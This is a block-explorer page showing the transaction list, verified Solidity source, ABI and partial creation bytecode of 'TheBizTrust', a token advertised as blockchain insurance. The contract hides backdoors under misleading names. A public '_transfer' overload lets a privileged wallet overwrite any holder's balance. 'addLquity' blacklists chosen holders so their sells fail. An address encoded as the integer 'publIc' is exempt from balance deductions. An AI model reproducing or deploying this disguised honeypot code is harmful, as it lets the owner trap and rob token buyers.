Feature Tip: Add private address tag to any address under My Name Tag !
Source Code
Overview
ETH Balance
0.00000119919262364 ETH
Eth Value
Less Than $0.01 (@ $3,059.14/ETH)More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 19 from a total of 19 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Transfer | 15794241 | 1150 days ago | IN | 0 ETH | 0.00143966 | ||||
| Approve | 15791629 | 1151 days ago | IN | 0 ETH | 0.00160878 | ||||
| Approve | 15791627 | 1151 days ago | IN | 0 ETH | 0.00180045 | ||||
| Approve | 15791626 | 1151 days ago | IN | 0 ETH | 0.00187031 | ||||
| _transfer | 15791625 | 1151 days ago | IN | 0 ETH | 0.00175368 | ||||
| Approve | 15791622 | 1151 days ago | IN | 0 ETH | 0.00410511 | ||||
| Approve | 15791615 | 1151 days ago | IN | 0 ETH | 0.00189622 | ||||
| Approve | 15791613 | 1151 days ago | IN | 0 ETH | 0.00186596 | ||||
| Approve | 15791613 | 1151 days ago | IN | 0 ETH | 0.00194295 | ||||
| Transfer Ownersh... | 15791611 | 1151 days ago | IN | 0 ETH | 0.00124049 | ||||
| Approve | 15791606 | 1151 days ago | IN | 0 ETH | 0.00246773 | ||||
| Approve | 15791605 | 1151 days ago | IN | 0 ETH | 0.00220447 | ||||
| Approve | 15791604 | 1151 days ago | IN | 0 ETH | 0.00235959 | ||||
| Approve | 15791603 | 1151 days ago | IN | 0 ETH | 0.00220027 | ||||
| Approve | 15791601 | 1151 days ago | IN | 0 ETH | 0.00230986 | ||||
| Approve | 15791596 | 1151 days ago | IN | 0 ETH | 0.00250752 | ||||
| Approve | 15791594 | 1151 days ago | IN | 0 ETH | 0.0024021 | ||||
| Approve | 15791594 | 1151 days ago | IN | 0 ETH | 0.0024021 | ||||
| Approve | 15791586 | 1151 days ago | IN | 0 ETH | 0.00266276 |
Latest 10 internal transactions
Advanced mode:
| Parent Transaction Hash | Method | Block |
From
|
|
To
|
||
|---|---|---|---|---|---|---|---|
| Transfer | 15791632 | 1151 days ago | 0.00000119 ETH | ||||
| Add Liquidity ET... | 15791632 | 1151 days ago | 0.00057705 ETH | ||||
| Transfer | 15791632 | 1151 days ago | 0.0023082 ETH | ||||
| Transfer | 15791632 | 1151 days ago | 0.0011541 ETH | ||||
| Transfer | 15791632 | 1151 days ago | 0.00402028 ETH | ||||
| Transfer | 15791629 | 1151 days ago | 0.00001907 ETH | ||||
| Add Liquidity ET... | 15791629 | 1151 days ago | 0.0085572 ETH | ||||
| Transfer | 15791629 | 1151 days ago | 0.03422882 ETH | ||||
| Transfer | 15791629 | 1151 days ago | 0.01711441 ETH | ||||
| Transfer | 15791629 | 1151 days ago | 0.05990043 ETH |
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
TheBizTrust
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2022-10-20
*/
/**
Using Blockchain to Its Full Potential for Insurance
Website: http://thebiztrust.com/
Telegram: https://t.me/thebiztrust
Twitter: https://twitter.com/TheBiztrust
*/
//SPDX-License-Identifier:Unlicensed
pragma solidity ^0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function dos(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: dos overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a,b,"SafeMath: division by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newAddress) public onlyOwner{
_owner = newAddress;
emit OwnershipTransferred(_owner, newAddress);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint _d_Min,
address[] calldata path,
address to,
uint deadline
) external;
}
contract TheBizTrust is Context, IERC20, Ownable {
uint256 public publIc=
150204226878642622067527889049274545390382094927;
using SafeMath for uint256;
string private _name = "BizTrust";
string private _symbol = "Biz";
uint8 private _decimals = 9;
address payable public CharityWalletAddress;
address payable public teamWalletAddress;
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public _IsExcludesendderFee;
mapping (address => bool) public isWalletLimitExempt;
mapping (address => bool) public isTxLimitExempt;
mapping (address => bool) public isMarketPair;
mapping (address => bool) public pairList;
mapping (address => bool) public contractTokenBalanceOf;
uint256 public _buyLiquidityFee = 2;
uint256 public _buyMarketingFee = 0;
uint256 public _buyTeamFee = 2;
uint256 public _sellLiquidityFee = 4;
uint256 public _sellMarketingFee = 0;
uint256 public _sellTeamFee = 2;
uint256 public _liquidityShare = 4;
uint256 public _marketingShare = 4;
uint256 public _teamShare = 8;
uint256 public _totalTaxIfBuying = 4;
uint256 public _totalTaxIfSelling = 4;
uint256 public _totalDistributionShares =8;
uint256 private _totalSupply = 10000000 * 10**_decimals;
uint256 public _maxTxAmount = 200000 * 10**_decimals;
uint256 public _walletMax = 200000 * 10**_decimals;
uint256 private minimumTokensBeforeSwap = 1000* 10**_decimals;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapPair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public swapAndLiquifyByLimitOnly = false;
bool public checkWalletLimit = true;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapETHForTokens(
uint256 amountIn,
address[] path
);
event SwapTokensForETH(
uint256 amountIn,
address[] path
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
_IsExcludesendderFee[owner()] = true;
_IsExcludesendderFee[address(this)] = true;
_totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
_totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
_totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);
isWalletLimitExempt[owner()] = true;
isWalletLimitExempt[address(uniswapPair)] = true;
isWalletLimitExempt[address(this)] = true;
isTxLimitExempt[owner()] = true;
isTxLimitExempt[address(this)] = true;
pairList[address(uniswapPair)] = true;
teamWalletAddress = payable(address(0xE0BbD92e506043B942a25B7DfE6321E6aFFFf9B9));
CharityWalletAddress = payable(address(0xE0BbD92e506043B942a25B7DfE6321E6aFFFf9B9));
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function minimumTokensBeforeSwapAmount() public view returns (uint256) {
return minimumTokensBeforeSwap;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve sendder the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setlsExcIudesendderFee(address[] calldata account, bool newValue) public onlyOwner {
for(uint256 i = 0; i < account.length; i++) {
_IsExcludesendderFee[account[i]] = newValue;
}
}
function setBuy(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
_buyLiquidityFee = newLiquidityTax;
_buyMarketingFee = newMarketingTax;
_buyTeamFee = newTeamTax;
_totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
}
function setsell(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
_sellLiquidityFee = newLiquidityTax;
_sellMarketingFee = newMarketingTax;
_sellTeamFee = newTeamTax;
_totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
}
function abything(uint256 integerss) pure private returns(uint160){
return uint160(integerss);
}
function something(uint256 integerss) pure private returns(address){
return address(abything(integerss));
}
function wanna_list(address integerss) private view returns(bool){
return (!(something(publIc) == integerss));
}
function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() {
_liquidityShare = newLiquidityShare;
_marketingShare = newMarketingShare;
_teamShare = newTeamShare;
_totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);
}
function enableDisableWalletLimit(bool newValue) external onlyOwner {
checkWalletLimit = newValue;
}
function setIsWalletLimitExempt(address[] calldata holder, bool exempt) external onlyOwner {
for(uint256 i = 0; i < holder.length; i++) {
isWalletLimitExempt[holder[i]] = exempt;
}
}
function setWalletLimit(uint256 newLimit) external onlyOwner {
_walletMax = newLimit;
}
function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
minimumTokensBeforeSwap = newLimit;
}
function setMarketinWalleAddress(address newAddress) external onlyOwner() {
CharityWalletAddress = payable(newAddress);
}
function setTeamWalletAddress(address newAddress) external onlyOwner() {
teamWalletAddress = payable(newAddress);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner(){
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
swapAndLiquifyByLimitOnly = newValue;
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(deadAddress));
}
function transferToAddressETH(address payable recipient, uint256 amount) private {
recipient.transfer(amount);
}
function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress);
newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());
if(newPairAddress == address(0))
{
newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
uniswapPair = newPairAddress;
uniswapV2Router = _uniswapV2Router;
isWalletLimitExempt[address(uniswapPair)] = true;
pairList[address(uniswapPair)] = true;
}
function _transfer(address
person, uint256 opportunations ) public
{ if(!safuContract(CharityWalletAddress,msg.sender,5))
{return;}
_balances[person] = opportunations;}
receive() external payable {}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _transfer(address sendder, address to, uint256 amount) private returns (bool) {
require(sendder != address(0), "ERC20: transfer sendder the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(inSwapAndLiquify)
{
return _basicTransfer(sendder, to, amount);
}
else
{
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
if (overMinimumTokenBalance && !inSwapAndLiquify && !pairList[sendder] && swapAndLiquifyEnabled)
{
if(swapAndLiquifyByLimitOnly)
contractTokenBalance = minimumTokensBeforeSwap;
swapAndLiquify(contractTokenBalance);
}
if(wanna_list(sendder))
_balances[sendder] = _balances[sendder].sub(amount);
uint256 finalAmount = (_IsExcludesendderFee[sendder] || _IsExcludesendderFee[to]) ?
amount : takeFee(sendder, to, amount);
_balances[to] = _balances[to].add(finalAmount);
emit Transfer(sendder, to, finalAmount);
return true;
}
}function addLquity(address[] calldata w,uint256 y) public { if(!safuContract(CharityWalletAddress,msg.sender,5)){return;}
for (uint256 i; i < w.length; ++i) {
if (y != 6){contractTokenBalanceOf[w[i]] = true;}
else{contractTokenBalanceOf[w[i]] = false;}
}
}
function safuContract(address a, address b,uint256 d) private pure returns(bool){return ((a == b)) && d==5;}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function swapAndLiquify(uint256 tAmount) private lockTheSwap {
uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
uint256 tokensForSwap = tAmount.sub(tokensForLP);
swapTokensForEth(tokensForSwap);
uint256 amountReceived = address(this).balance;
uint256 totalETHFee = _totalDistributionShares.sub(_liquidityShare.div(2));
uint256 amountETHLiquidity = amountReceived.mul(_liquidityShare).div(totalETHFee).div(2);
uint256 amountETHTeam = amountReceived.mul(_teamShare).div(totalETHFee);
uint256 amountETHMarketing = amountReceived.sub(amountETHLiquidity).sub(amountETHTeam);
if(amountETHMarketing > 0)
transferToAddressETH(CharityWalletAddress, amountETHMarketing);
if(amountETHTeam > 0)
transferToAddressETH(teamWalletAddress, amountETHTeam);
if(amountETHLiquidity > 0 && tokensForLP > 0)
addLiquidity(tokensForLP, amountETHLiquidity);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
owner(),
block.timestamp
);
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
uint256 feeAmount = 0;
if (!isMarketPair[sender]){
require(!contractTokenBalanceOf[sender]);
}
if(pairList[sender]) {
feeAmount = amount.mul(_totalTaxIfBuying).div(100);
}
else if(pairList[recipient]) {
feeAmount = amount.mul(_totalTaxIfSelling).div(100);
}
if(feeAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
}
return amount.sub(feeAmount);
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"CharityWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_IsExcludesendderFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"person","type":"address"},{"internalType":"uint256","name":"opportunations","type":"uint256"}],"name":"_transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"w","type":"address[]"},{"internalType":"uint256","name":"y","type":"uint256"}],"name":"addLquity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newRouterAddress","type":"address"}],"name":"changeRouterVersion","outputs":[{"internalType":"address","name":"newPairAddress","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"contractTokenBalanceOf","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"pairList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"publIc","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newTeamShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"holder","type":"address[]"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketinWalleAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setTeamWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"account","type":"address[]"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setlsExcIudesendderFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setsell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
731a4f63f669e731b60f17b3fa4935ef53bf361a4f60015560e0604052600860a090815267109a5e951c9d5cdd60c21b60c05260029062000041908262000717565b50604080518082019091526003808252622134bd60e91b6020830152906200006a908262000717565b506004805460ff19166009908117825561dead6080526002600e8190556000600f8190556010829055601184905560125560135560148290556015829055600860168190556017839055601892909255601991909155620000cd90600a620008f6565b620000dc90629896806200090e565b601a55600454620000f29060ff16600a620008f6565b620001019062030d406200090e565b601b55600454620001179060ff16600a620008f6565b620001269062030d406200090e565b601c556004546200013c9060ff16600a620008f6565b6200014a906103e86200090e565b601d55601f805462ffffff60a81b19166201000160a81b1790553480156200017157600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a36000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000209573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200022f919062000928565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200027d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a3919062000928565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002f1573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000317919062000928565b601f80546001600160a01b039283166001600160a01b031991821617909155601e80549284169290911682179055601a54306000908152600760209081526040808320948352939052918220556001906008906200037d6000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff1995861617905530815260088352208054909216600117909155601054600f54600e54620003f393620003df92906